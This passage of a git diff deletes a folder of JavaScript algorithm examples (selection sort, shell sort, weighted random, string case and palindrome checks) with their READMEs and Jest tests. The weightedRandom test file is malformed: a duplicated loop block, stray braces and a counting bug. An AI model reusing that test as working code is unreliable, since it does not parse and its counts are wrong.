-in-place comparison sort. It has O(n2) time complexity,
-making it inefficient on large lists, and generally
-performs worse than the similar insertion sort.
-Selection sort is noted for its simplicity, and it has
-performance advantages over more complicated algorithms
-in certain situations, particularly where auxiliary
-memory is limited.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/b/b0/Selection_sort_animation.gif)
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/9/94/Selection-Sort-Animation.gif)
-
-## Complexity
-
-| Name               |     Best      |    Average    |     Worst     | Memory | Stable | Comments |
-| ------------------ | :-----------: | :-----------: | :-----------: | :----: | :----: | :------- |
-| **Selection sort** | n<sup>2</sup> | n<sup>2</sup> | n<sup>2</sup> |   1    |   No   |          |
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Selection_sort)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/SelectionSort.js b/docs/content/DS_ALGO/algorithms/sorting/selection-sort/SelectionSort.js
deleted file mode 100644
index ca1c3c636d..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/SelectionSort.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import Sort from '../Sort';
-export default class SelectionSort extends Sort {
-    sort(originalArray) {
-        // Clone original array to prevent its modification.
-        const array = [...originalArray];
-        for (let i = 0; i < array.length - 1; i += 1) {
-            let minIndex = i;
-            // Call visiting callback.
-            this.callbacks.visitingCallback(array[i]);
-            // Find minimum element in the rest of array.
-            for (let j = i + 1; j < array.length; j += 1) {
-                // Call visiting callback.
-                this.callbacks.visitingCallback(array[j]);
-                if (this.comparator.lessThan(array[j], array[minIndex])) {
-                    minIndex = j;
-                }
-            }
-            // If new minimum element has been found then swap it with current i-th element.
-            if (minIndex !== i) {
-                [array[i], array[minIndex]] = [array[minIndex], array[i]];
-            }
-        }
-        return array;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/test/SelectionSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/selection-sort/test/SelectionSort.test.js
deleted file mode 100644
index 8c7ee0edec..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/test/SelectionSort.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import SelectionSort from '../SelectionSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 209;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 209;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 209;
-const EQUAL_ARRAY_VISITING_COUNT = 209;
-describe('SelectionSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(SelectionSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(SelectionSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(SelectionSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(SelectionSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(SelectionSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(SelectionSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(SelectionSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/shell-sort/README.md
deleted file mode 100644
index 3e32fb9cb0..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/README.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# Shellsort
-
-Shellsort, also known as Shell sort or Shell's method,
-is an in-place comparison sort. It can be seen as either a
-generalization of sorting by exchange (bubble sort) or sorting
-by insertion (insertion sort). The method starts by sorting
-pairs of elements far apart from each other, then progressively
-reducing the gap between elements to be compared. Starting
-with far apart elements, it can move some out-of-place
-elements into position faster than a simple nearest neighbor
-exchange
-
-![Shellsort](https://upload.wikimedia.org/wikipedia/commons/d/d8/Sorting_shellsort_anim.gif)
-
-## How Shell Sort Works
-
-For our example and ease of understanding, we take the interval
-of `4`. Make a virtual sub-list of all values located at the
-interval of 4 positions. Here these values are
-`{35, 14}`, `{33, 19}`, `{42, 27}` and `{10, 44}`
-
-![Shellsort](https://www.tutorialspoint.com/data_structures_algorithms/images/shell_sort_gap_4.jpg)
-
-We compare values in each sub-list and swap them (if necessary)
-in the original array. After this step, the new array should
-look like this
-
-![Shellsort](https://www.tutorialspoint.com/data_structures_algorithms/images/shell_sort_step_1.jpg)
-
-Then, we take interval of 2 and this gap generates two sub-lists
-
--   `{14, 27, 35, 42}`, `{19, 10, 33, 44}`
-
-![Shellsort](https://www.tutorialspoint.com/data_structures_algorithms/images/shell_sort_gap_2.jpg)
-
-We compare and swap the values, if required, in the original array.
-After this step, the array should look like this
-
-![Shellsort](https://www.tutorialspoint.com/data_structures_algorithms/images/shell_sort_step_2.jpg)
-
-> UPD: On the picture below there is a typo and result array is supposed to be `[14, 10, 27, 19, 35, 33, 42, 44]`.
-
-Finally, we sort the rest of the array using interval of value 1.
-Shell sort uses insertion sort to sort the array.
-
-![Shellsort](https://www.tutorialspoint.com/data_structures_algorithms/images/shell_sort.jpg)
-
-## Complexity
-
-| Name           |     Best      |         Average         |            Worst            | Memory | Stable | Comments |
-| -------------- | :-----------: | :---------------------: | :-------------------------: | :----: | :----: | :------- |
-| **Shell sort** | n&nbsp;log(n) | depends on gap sequence | n&nbsp;(log(n))<sup>2</sup> |   1    |   No   |          |
-
-## References
-
--   [Tutorials Point](https://www.tutorialspoint.com/data_structures_algorithms/shell_sort_algorithm.htm)
--   [Wikipedia](https://en.wikipedia.org/wiki/Shellsort)
--   [YouTube by Rob Edwards](https://www.youtube.com/watch?v=ddeLSDsYVp8&index=79&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/ShellSort.js b/docs/content/DS_ALGO/algorithms/sorting/shell-sort/ShellSort.js
deleted file mode 100644
index 8a81ed2b4b..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/ShellSort.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import Sort from '../Sort';
-export default class ShellSort extends Sort {
-    sort(originalArray) {
-        // Prevent original array from mutations.
-        const array = [...originalArray];
-        // Define a gap distance.
-        let gap = Math.floor(array.length / 2);
-        // Until gap is bigger then zero do elements comparisons and swaps.
-        while (gap > 0) {
-            // Go and compare all distant element pairs.
-            for (let i = 0; i < array.length - gap; i += 1) {
-                let currentIndex = i;
-                let gapShiftedIndex = i + gap;
-                while (currentIndex >= 0) {
-                    // Call visiting callback.
-                    this.callbacks.visitingCallback(array[currentIndex]);
-                    // Compare and swap array elements if needed.
-                    if (this.comparator.lessThan(array[gapShiftedIndex], array[currentIndex])) {
-                        const tmp = array[currentIndex];
-                        array[currentIndex] = array[gapShiftedIndex];
-                        array[gapShiftedIndex] = tmp;
-                    }
-                    gapShiftedIndex = currentIndex;
-                    currentIndex -= gap;
-                }
-            }
-            // Shrink the gap.
-            gap = Math.floor(gap / 2);
-        }
-        // Return sorted copy of an original array.
-        return array;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/test/ShellSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/shell-sort/test/ShellSort.test.js
deleted file mode 100644
index 190fca2022..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/shell-sort/test/ShellSort.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import ShellSort from '../ShellSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 320;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 320;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 320;
-const EQUAL_ARRAY_VISITING_COUNT = 320;
-describe('ShellSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(ShellSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(ShellSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(ShellSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(ShellSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(ShellSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(ShellSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(ShellSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/test/Sort.test.js b/docs/content/DS_ALGO/algorithms/sorting/test/Sort.test.js
deleted file mode 100644
index 3e2b317f1e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/test/Sort.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import Sort from '../Sort';
-describe('Sort', () => {
-    it('should throw an error when trying to call Sort.sort() method directly', () => {
-        function doForbiddenSort() {
-            const sorter = new Sort();
-            sorter.sort();
-        }
-        expect(doForbiddenSort).toThrow();
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/README.md b/docs/content/DS_ALGO/algorithms/statistics/weighted-random/README.md
deleted file mode 100644
index 169b521189..0000000000
--- a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/README.md
+++ /dev/null
@@ -1,147 +0,0 @@
-# Weighted Random
-
-![Weighted Random](images/cover.png)
-
-## What is "Weighted Random"
-
-Let's say you have a list of **items**. Item could be anything. For example, we may have a list of fruits and vegetables that you like to eat: `[ '🍌', '🍎', '🥕' ]`.
-
-The list of **weights** represent the weight (or probability, or importance) of each item. Weights are numbers. For example, the weights like `[3, 7, 1]` would say that:
-
--   you would like to eat `🍎 apples` more often (`7` out of `3 + 7 + 1 = 11` times),
--   then you would like to eat `bananas 🍌` less often (only `3` out of `11` times),
--   and the `carrots 🥕` you really don't like (want to eat it only `1` out of `11` times).
-
-> If we speak in terms of probabilities than the weights list might be an array of floats that sum up to `1` (i.e. `[0.1, 0.5, 0.2, 0.2]`).
-
-The **Weighted Random** in this case will be the function that will randomly return you the item from the list, and it will take each item's weight into account, so that items with the higher weight will be picked more often.
-
-Example of the function interface:
-
-```javascript
-const items = ['🍌', '🍎', '🥕'];
-const weights = [3, 7, 1];
-
-function weightedRandom(items, weights) {
-    // implementation goes here ...
-}
-
-const nextSnackToEat = weightedRandom(items, weights); // Could be '🍎'
-```
-
-## Applications of Weighted Random
-
--   In [Genetic Algorithm](https://en.wikipedia.org/wiki/Genetic_algorithm) the weighted random is used during the "Selection" phase, when we need to select the fittest/strongest individuums based on their fitness score for mating and for producing the next stronger generation. You may find an **example** in the [Self-Parking Car in 500 Lines of Code](https://trekhleb.dev/blog/2021/self-parking-car-evolution/) article.
--   In [Recurrent Neural Networks (RNN)](https://en.wikipedia.org/wiki/Recurrent_neural_network) when trying to decide what letter to choose next (to form the sentence) based on the next letter probability. You may find an **example** in the [Recipe Generation using Recurrent Neural Network (RNN)](https://nbviewer.org/github/trekhleb/machine-learning-experiments/blob/master/experiments/recipe_generation_rnn/recipe_generation_rnn.ipynb) Jupyter notebook.
--   In [Nginx Load Balancing](https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-balancer/) to send HTTP requests more often to the servers with the higher weights.
--   And more...
-
-## The Algorithm
-
-The **straightforward approach** would be to:
-
-1. Repeat each item in the list according to its weight.
-2. Pick the random item from the list.
-
-For example in our case with fruits and vegetables we could generate the following list of size `3 + 7 + 1 = 11`:
-
-```javascript
-const items = ['🍌', '🍎', '🥕'];
-const weights = [3, 7, 1];
-
-// Repeating the items based on weights.
-const weightedItems = ['🍌', '🍌', '🍌', '🍎', '🍎', '🍎', '🍎', '🍎', '🍎', '🍎', '🥕'];
-
-// And now just pick the random item from weightedItems array.
-```
-
-However, as you may see, this approach may require a lot of memory, in case if we have a lot of items to repeat in `weightedItems` list. Think of it as if you would need to repeat a string like `"some-random-string"` (`18` bytes) a ten million times. You will need to allocate around `180Mb` of additional memory space just for this array.
-
-The **more efficient approach** would be to:
-
-1. Prepare the list of cumulative weights for each item (i.e. the `cumulativeWeights` list which will have the same number of elements as the original `weights` list). In our case it will look like this: `cumulativeWeights = [3, 3 + 7, 3 + 7 + 1] = [3, 10, 11]`
-2. Generate the random number `randomNumber` from `0` to the highest cumulative weight value. In our case the random number will be in a range of `[0..11]`. Let's say that we have `randomNumber = 8`.
-3. Go through the `cumulativeWeights` list from left to right and pick the first element which is higher or equal to the `randomNumber`. The index of such element we will use to pick the item from the `items` array.
-
-The idea behind this approach is that the higher weights will "occupy" more numeric space. Therefore, there is a higher chance that the random number will fall into the "higher weight numeric bucket".
-
-```javascript
-const weights = [3, 7, 1];
-const cumulativeWeights = [3, 10, 11];
-
-// In a pseudo-representation we may think about the cumulativeWeights array like this.
-const pseudoCumulativeWeights = [
-    1,
-    2,
-    3, // <-- [3] numbers
-    4,
-    5,
-    6,
-    7,
-    8,
-    9,
-    10, // <-- [7] numbers
-    11 // <-- [1] number
-];
-```
-
-Here is an example of how the `weightedRandom` function might be implemented:
-
-```javascript
-/**
- * Picks the random item based on its weight.
- * The items with higher weight will be picked more often (with a higher probability).
- *
- * For example:
- * - items = ['banana', 'orange', 'apple']
- * - weights = [0, 0.2, 0.8]
- * - weightedRandom(items, weights) in 80% of cases will return 'apple', in 20% of cases will return
- * 'orange' and it will never return 'banana' (because probability of picking the banana is 0%)
- *
- * @param {any[]} items
- * @param {number[]} weights
- * @returns {{item: any, index: number}}
- */
-export default function weightedRandom(items, weights) {
-    if (items.length !== weights.length) {
-        throw new Error('Items and weights must be of the same size');
-    }
-
-    if (!items.length) {
-        throw new Error('Items must not be empty');
-    }
-
-    // Preparing the cumulative weights array.
-    // For example:
-    // - weights = [1, 4, 3]
-    // - cumulativeWeights = [1, 5, 8]
-    const cumulativeWeights = [];
-    for (let i = 0; i < weights.length; i += 1) {
-        cumulativeWeights[i] = weights[i] + (cumulativeWeights[i - 1] || 0);
-    }
-
-    // Getting the random number in a range of [0...sum(weights)]
-    // For example:
-    // - weights = [1, 4, 3]
-    // - maxCumulativeWeight = 8
-    // - range for the random number is [0...8]
-    const maxCumulativeWeight = cumulativeWeights[cumulativeWeights.length - 1];
-    const randomNumber = maxCumulativeWeight * Math.random();
-
-    // Picking the random item based on its weight.
-    // The items with higher weight will be picked more often.
-    for (let itemIndex = 0; itemIndex < items.length; itemIndex += 1) {
-        if (cumulativeWeights[itemIndex] >= randomNumber) {
-            return {
-                item: items[itemIndex],
-                index: itemIndex
-            };
-        }
-    }
-}
-```
-
-## Implementation
-
--   Check the [weightedRandom.js](weightedRandom.js) file for the implementation of the `weightedRandom()` function.
--   Check the [weightedRandom.test.js](__test__/weightedRandom.test.js) file for the tests-cases.
diff --git a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/images/cover.png b/docs/content/DS_ALGO/algorithms/statistics/weighted-random/images/cover.png
deleted file mode 100644
index a4bf41b65f..0000000000
Binary files a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/images/cover.png and /dev/null differ
diff --git a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/test/weightedRandom.test.js b/docs/content/DS_ALGO/algorithms/statistics/weighted-random/test/weightedRandom.test.js
deleted file mode 100644
index e1a65ea483..0000000000
--- a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/test/weightedRandom.test.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import weightedRandom from '../weightedRandom';
-describe('weightedRandom', () => {
-    it('should throw an error when the number of weights does not match the number of items', () => {
-        const getWeightedRandomWithInvalidInputs = () => {
-            weightedRandom(['a', 'b', 'c'], [10, 0]);
-        };
-        expect(getWeightedRandomWithInvalidInputs).toThrow('Items and weights must be of the same size');
-    });
-    it('should throw an error when the number of weights or items are empty', () => {
-        const getWeightedRandomWithInvalidInputs = () => {
-            weightedRandom([], []);
-        };
-        expect(getWeightedRandomWithInvalidInputs).toThrow('Items must not be empty');
-    });
-    it('should correctly do random selection based on wights in straightforward cases', () => {
-        expect(weightedRandom(['a', 'b', 'c'], [1, 0, 0])).toEqual({
-            index: 0,
-            item: 'a'
-        });
-        expect(weightedRandom(['a', 'b', 'c'], [0, 1, 0])).toEqual({
-            index: 1,
-            item: 'b'
-        });
-        expect(weightedRandom(['a', 'b', 'c'], [0, 0, 1])).toEqual({
-            index: 2,
-            item: 'c'
-        });
-        expect(weightedRandom(['a', 'b', 'c'], [0, 1, 1])).not.toEqual({
-            index: 0,
-            item: 'a'
-        });
-        expect(weightedRandom(['a', 'b', 'c'], [1, 0, 1])).not.toEqual({
-            index: 1,
-            item: 'b'
-        });
-        expect(weightedRandom(['a', 'b', 'c'], [1, 1, 0])).not.toEqual({
-            index: 2,
-            item: 'c'
-        });
-    });
-    it('should correctly do random selection based on wights', () => {
-            // Number of times we're going to select the random items based on their weights.
-            const ATTEMPTS_NUM = 1000;
-            // The +/- delta in the number of times each item has been actually selected.
-            // I.e. if we want the item 'a' to be selected 300 times out of 1000 cases (30%)
-            // then 267 times is acceptable since it is bigger that 250 (which is 300 - 50)
-            // ans smaller than 350 (which is 300 + 50)
-            const THRESHOLD = 50;
-            const items = ['a', 'b', 'c']; // The actual items values don't matter.
-            const weights = [0.1, 0.3, 0.6];
-            const counter = [];
-            for (let i = 0; i < ATTEMPTS_NUM; i += 1) {
-                const randomItem = weightedRandom(items, weights);
-                if (!counter[randomItem.index]) {
-                    counter[randomItem.index] = 1;
-                } else {}
-                counter[randomItem.index] += 1;
-            }
-        }
-        for (let itemIndex = 0; itemIndex < items.length; itemIndex += 1) {
-            /*
-    i.e. item with the index of 0 must be selected 100 times (ideally)
-    or with the threshold of [100 - 50, 100 + 50] times.
-    i.e. item with the index of 1 must be selected 300 times (ideally)
-    or with the threshold of [300 - 50, 300 + 50] times.
-    i.e. item with the index of 2 must be selected 600 times (ideally)
-    or with the threshold of [600 - 50, 600 + 50] times.
-   */
-            expect(counter[itemIndex]).toBeGreaterThan(ATTEMPTS_NUM * weights[itemIndex] - THRESHOLD);
-            expect(counter[itemIndex]).toBeLessThan(ATTEMPTS_NUM * weights[itemIndex] + THRESHOLD);
-        }
-    });
-});
-}
-}
-for (let itemIndex = 0; itemIndex < items.length; itemIndex += 1) {
-    /*
-    i.e. item with the index of 0 must be selected 100 times (ideally)
-    or with the threshold of [100 - 50, 100 + 50] times.
-    i.e. item with the index of 1 must be selected 300 times (ideally)
-    or with the threshold of [300 - 50, 300 + 50] times.
-    i.e. item with the index of 2 must be selected 600 times (ideally)
-    or with the threshold of [600 - 50, 600 + 50] times.
-   */
-    expect(counter[itemIndex]).toBeGreaterThan(ATTEMPTS_NUM * weights[itemIndex] - THRESHOLD);
-    expect(counter[itemIndex]).toBeLessThan(ATTEMPTS_NUM * weights[itemIndex] + THRESHOLD);
-}
-});
-});
diff --git a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/weightedRandom.js b/docs/content/DS_ALGO/algorithms/statistics/weighted-random/weightedRandom.js
deleted file mode 100644
index e071324591..0000000000
--- a/docs/content/DS_ALGO/algorithms/statistics/weighted-random/weightedRandom.js
+++ /dev/null
@@ -1,48 +0,0 @@
-/**
- * Picks the random item based on its weight.
- * The items with higher weight will be picked more often (with a higher probability).
- *
- * For example:
- * - items = ['banana', 'orange', 'apple']
- * - weights = [0, 0.2, 0.8]
- * - weightedRandom(items, weights) in 80% of cases will return 'apple', in 20% of cases will return
- * 'orange' and it will never return 'banana' (because probability of picking the banana is 0%)
- *
- * @param {any[]} items
- * @param {number[]} weights
- * @returns {{item: any, index: number}}
- */
-/* eslint-disable consistent-return */
-export default function weightedRandom(items, weights) {
-    if (items.length !== weights.length) {
-        throw new Error('Items and weights must be of the same size');
-    }
-    if (!items.length) {
-        throw new Error('Items must not be empty');
-    }
-    // Preparing the cumulative weights array.
-    // For example:
-    // - weights = [1, 4, 3]
-    // - cumulativeWeights = [1, 5, 8]
-    const cumulativeWeights = [];
-    for (let i = 0; i < weights.length; i += 1) {
-        cumulativeWeights[i] = weights[i] + (cumulativeWeights[i - 1] || 0);
-    }
-    // Getting the random number in a range of [0...sum(weights)]
-    // For example:
-    // - weights = [1, 4, 3]
-    // - maxCumulativeWeight = 8
-    // - range for the random number is [0...8]
-    const maxCumulativeWeight = cumulativeWeights[cumulativeWeights.length - 1];
-    const randomNumber = maxCumulativeWeight * Math.random();
-    // Picking the random item based on its weight.
-    // The items with higher weight will be picked more often.
-    for (let itemIndex = 0; itemIndex < items.length; itemIndex += 1) {
-        if (cumulativeWeights[itemIndex] >= randomNumber) {
-            return {
-                item: items[itemIndex],
-                index: itemIndex
-            };
-        }
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/AlphaNumericPalindrome.js b/docs/content/DS_ALGO/algorithms/string/AlphaNumericPalindrome.js
deleted file mode 100644
index 99bf27affc..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/AlphaNumericPalindrome.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/*****************************************************************************
- * @function alphaNumericPlaindrome
- * @description alphaNumericPlaindrome should return true if the string has alphanumeric characters that are palindrome irrespective of special characters and the letter case.
- * @param {string} str the string to check
- * @returns {Boolean}
- * @see [Factorial](https://en.wikipedia.org/wiki/Palindrome)
- * @example
- * The function alphaNumericPlaindrome() receives a string with varying formats
- * like "racecar", "RaceCar", and "race CAR"
- * The string can also have special characters
- * like "2A3*3a2", "2A3 3a2", and "2_A3*3#A2"
- *
- * But the catch is, we have to check only if the alphanumeric characters
- * are palindrome i.e remove spaces, symbols, punctuations etc
- * and the case of the characters doesn't matter
- *
- ****************************************************************************/
-const alphaNumericPlaindrome = (str) => {
-    // removing all the special characters and turning everything to lowercase
-    const newStr = str.replace(/[^a-zA-Z0-9]*/g, '').toLowerCase();
-    for (let i = 0; i < newStr.length; i++) {
-        if (newStr[i] !== newStr[newStr.length - 1 - i]) {
-            return false;
-        }
-    }
-    return true;
-};
-export { alphaNumericPlaindrome };
diff --git a/docs/content/DS_ALGO/algorithms/string/AlternativeStringArrange.js b/docs/content/DS_ALGO/algorithms/string/AlternativeStringArrange.js
deleted file mode 100644
index cabc6ec48b..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/AlternativeStringArrange.js
+++ /dev/null
@@ -1,36 +0,0 @@
-// Alternative arrange the two given strings in one string in O(n) time complexity.
-// Problem Source & Explanation: https://www.geeksforgeeks.org/alternatively-merge-two-strings-in-java/
-/**
- * Alternative arrange the two given strings in one string in O(n) time complexity.
- * @param {String} str1 first input string
- * @param {String} str2 second input string
- * @returns `String` return one alternative arrange string.
- */
-const AlternativeStringArrange = (str1, str2) => {
-    // firstly, check that both inputs are strings.
-    if (typeof str1 !== 'string' || typeof str2 !== 'string') {
-        return 'Not string(s)';
-    }
-    // output string value.
-    let outStr = '';
-    // get first string length.
-    const firstStringLength = str1.length;
-    // get second string length.
-    const secondStringLength = str2.length;
-    // absolute length for operation.
-    const absLength = firstStringLength > secondStringLength ? firstStringLength : secondStringLength;
-    // Iterate the character count until the absolute count is reached.
-    for (let charCount = 0; charCount < absLength; charCount++) {
-        // If firstStringLength is lesser than the charCount it means they are able to re-arrange.
-        if (charCount < firstStringLength) {
-            outStr += str1[charCount];
-        }
-        // If secondStringLength is lesser than the charCount it means they are able to re-arrange.
-        if (charCount < secondStringLength) {
-            outStr += str2[charCount];
-        }
-    }
-    // return the output string.
-    return outStr;
-};
-export { AlternativeStringArrange };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckAnagram.js b/docs/content/DS_ALGO/algorithms/string/CheckAnagram.js
deleted file mode 100644
index 4d5ea4c5bf..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckAnagram.js
+++ /dev/null
@@ -1,62 +0,0 @@
-// An [Anagram](https://en.wikipedia.org/wiki/Anagram) is a string that is a word or phrase formed by rearranging the letters of a different word or phrase, typically using all the original letters exactly once. Anagram check is not case-sensitive;
-/**
- * @function checkAnagramRegex
- * @param {string} str1
- * @param {string} str2
- * @returns {boolean}
- * @description - check anagram with the help of Regex
- * @example - checkAnagramRegex('node', 'deno') => true
- * @example - checkAnagramRegex('Eleven plus two', 'Twelve plus one') => true
- */
-const checkAnagramRegex = (str1, str2) => {
-    // check that inputs are strings.
-    if (typeof str1 !== 'string' || typeof str2 !== 'string') {
-        throw new TypeError('Both arguments should be strings.');
-    }
-    // If both strings have not same lengths then they can not be anagram.
-    if (str1.length !== str2.length) {
-        return false;
-    }
-    /**
-     * str1 converted to an array and traverse each letter of str1 by reduce method
-     * reduce method return string which is empty or not.
-     * if it returns empty string '' -> falsy, with Logical !(NOT) Operator, it's will be converted to boolean and return true else false
-     */
-    return ![...str1].reduce(
-        (str2Acc, cur) => str2Acc.replace(new RegExp(cur, 'i'), ''), // remove the similar letter from str2Acc in case-insensitive
-        str2
-    );
-};
-/**
- * @function checkAnagramMap
- * @description - check anagram via using HashMap
- * @param {string} str1
- * @param {string} str2
- * @returns {boolean}
- * @example - checkAnagramMap('node', 'deno') => true
- * @example - checkAnagramMap('Eleven plus two', 'Twelve plus one') => true
- */
-const checkAnagramMap = (str1, str2) => {
-    // check that inputs are strings.
-    if (typeof str1 !== 'string' || typeof str2 !== 'string') {
-        throw new TypeError('Both arguments should be strings.');
-    }
-    // If both strings have not same lengths then they can not be anagram.
-    if (str1.length !== str2.length) {
-        return false;
-    }
-    const str1List = Array.from(str1.toUpperCase()); // str1 to array
-    // get the occurrences of str1 characters by using HashMap
-    const str1Occurs = str1List.reduce((map, char) => map.set(char, map.get(char) + 1 || 1), new Map());
-    for (const char of str2.toUpperCase()) {
-        // if char has not exist to the map it's return false
-        if (!str1Occurs.has(char)) {
-            return false;
-        }
-        let getCharCount = str1Occurs.get(char);
-        str1Occurs.set(char, --getCharCount);
-        getCharCount === 0 && str1Occurs.delete(char);
-    }
-    return true;
-};
-export { checkAnagramRegex, checkAnagramMap };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckCamelCase.js b/docs/content/DS_ALGO/algorithms/string/CheckCamelCase.js
deleted file mode 100644
index ace2f0efd1..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckCamelCase.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// CheckCamelCase method checks the given string is in camelCase or not.
-// Problem Source & Explanation: https://en.wikipedia.org/wiki/Camel_case
-/**
- * checkCamelCase method returns true if the string in camelCase, else return the false.
- * @param {String} varName the name of the variable to check.
- * @returns `Boolean` return true if the string is in camelCase, else return false.
- */
-const checkCamelCase = (varName) => {
-    // firstly, check that input is a string or not.
-    if (typeof varName !== 'string') {
-        throw new TypeError('Argument is not a string.');
-    }
-    const pat = /^[a-z][A-Za-z]*$/;
-    return pat.test(varName);
-};
-export { checkCamelCase };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckFlatCase.js b/docs/content/DS_ALGO/algorithms/string/CheckFlatCase.js
deleted file mode 100644
index 3fdb62a46c..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckFlatCase.js
+++ /dev/null
@@ -1,18 +0,0 @@
-// checkFlatCase method checks if the given string is in flatcase or not. Flatcase is a convention
-// where all letters are in lowercase, and there are no spaces between words.
-// thisvariable is an example of flatcase. In camelCase it would be thisVariable, snake_case this_variable and so on.
-// Problem Source & Explanation: https://en.wikipedia.org/wiki/Naming_convention_(programming)
-/**
- * checkFlatCase method returns true if the string in flatcase, else return the false.
- * @param {string} varname the name of the variable to check.
- * @returns {boolean} return true if the string is in flatcase, else return false.
- */
-const checkFlatCase = (varname) => {
-    // firstly, check that input is a string or not.
-    if (typeof varname !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    const pat = /^[a-z]*$/;
-    return pat.test(varname);
-};
-export { checkFlatCase };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckKebabCase.js b/docs/content/DS_ALGO/algorithms/string/CheckKebabCase.js
deleted file mode 100644
index c9159ebe25..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckKebabCase.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// CheckKebabCase method checks the given string is in kebab-case or not.
-// Problem Source & Explanation: https://en.wikipedia.org/wiki/Naming_convention_(programming)
-/**
- * CheckKebabCase method returns true if the string in kebab-case, else return the false.
- * @param {String} varName the name of the variable to check.
- * @returns `Boolean` return true if the string is in kebab-case, else return false.
- */
-const CheckKebabCase = (varName) => {
-    // firstly, check that input is a string or not.
-    if (typeof varName !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    const pat = /(\w+)-(\w)([\w-]*)/;
-    return pat.test(varName) && !varName.includes('_');
-};
-export { CheckKebabCase };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckPalindrome.js b/docs/content/DS_ALGO/algorithms/string/CheckPalindrome.js
deleted file mode 100644
index 7d3a8cd9d9..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckPalindrome.js
+++ /dev/null
@@ -1,16 +0,0 @@
